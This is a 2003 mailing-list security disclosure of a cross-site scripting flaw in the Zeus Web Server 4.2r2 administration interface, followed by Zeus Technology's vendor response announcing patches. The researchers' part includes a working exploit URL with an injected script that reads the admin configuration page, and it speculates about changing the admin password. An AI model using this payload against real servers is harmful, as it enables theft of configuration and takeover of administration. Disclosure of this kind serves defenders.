Onderwerp: Another ZEUS Server web admin XSS!

Hi,

another XSS, now on the ZEUS web admin interface.
The tested software is Zeus 4.2r2 (webadmin-4.2r2) on Linux x86

This is not the same issue as bid 6144 (index.fcgi),
now is on "vs_diag.cgi".

Exploit is simple:

http://<target>:9090/apps/web/vs_diag.cgi?server=<YOUR_CODE>

I have read this post: (http://www.securityfocus.com/archive/1/302961),
regarding "index.fcgi" XSS.Mr, Colin Watson, claims that XSS bug on their
software is not a big risk because: "The Zeus Administration Server uses
cookies to record several items oftransient state: the state of the
folding list of groups of virtualservers, and the list of currently
monitored variables and machines ifreal-time monitoring is in place. It
does not use cookies to store any security-sensitive information (...)"

Who needs cookies? :-) ZEUS uses "Basic Auth" (base 64 encoded) for the
session tracking...but ZEUS does not allow http TRACE method, so we can
not run a XST (Cross Site Tracing) against it :-(
I know litle about client side scripting, but probably there's some way to
send POST requests and... change the admin password?, stop the web
server?... I'm quite sure there's some way to do this.

With the script we show below an attacker can do an HTTP request to the
web admin interface of the ZEUS and redirect the output...
Of course you have to trick the admin...

http://<target>:9090/apps/web/vs_diag.cgi?server=&lt;script&gt;function%20pedo()
{var%20xmlHttp%20=%20new%20ActiveXObject("Microsof t.XMLHTTP");xmlHttp.open
("GET","http://<target>:9090/apps/web/global.fcgi",false);xmlHttp.send
();xmlDoc=xmlHttp.responseText;document.write(xmlD oc);}pedo();alert("Have%
20you%20enabled%20the%20protection%20of%20your%20Z EUS...?%20We%20can%20rip%
20this%20info!%20Much%20more%20evil%20actions%20ar e%20possible...")
&lt;/script&gt;

This is for IE, for other browsers you may modify this code.
Imagination is the best friend of the attacker. Open your minds, XSS does
not only means execution of commands on the client side... succefully
exploited, in some scenarios (like web admin interfaces) those bugs can
lead on execution of commands on the server side...

See you,

Hugo Vázquez Caramés & Toni Cortés Martínez
INFOHACKING RESEARCH 2003
www.infohacking.com
Barcelona
Spain

In-Reply-To: <20030529174830.9975.qmail@www.securityfocus.com>

Zeus Technology, 30th May 2003.
"Another ZEUS Server web admin XSS!" vendor response

On May 29th 2003, a cross-site-scripting attack against
the Zeus
Administration Server was reported on bugtraq (incident
"Another ZEUS
Server web admin XSS!").

Zeus Technology has investigated this report and
confirm that a cross-
site-scripting exploit is possible under very limited
conditions. This
vulnerability is present in Zeus Web Server version
4.2r2 and earlier.
Zeus have product patches which will be available
shortly through Zeus's
support channel (support@zeus.com).

These patches will be included in the next revision of
Zeus Web Server
(4.2r3) when it is released.


Zeus Technology continue to advise that the
Administration Server is
shut down when not in use as a matter of routine.

Zeus Technology work closely with customers,
evaluators, security
professionals and other researchers to ensure its
products are secure
and free from defects. Any security-related comments
received at
security@zeus.com, or through any other means are
treated with the
utmost attention. Zeus Technology regret that the
researcher published
details of the exploit before contacting Zeus and
allowing Zeus to
prepare and distribute a fix.

--

security@zeus.com
Zeus Technology Ltd
Security Response Team
Universally Serving the Net
Tel:+44(0)1223 525000 Fax:+44(0)1223 525100
http://www.zeus.com/
Zeus House, Cowley Road, Cambridge, CB4 0ZT, ENGLAND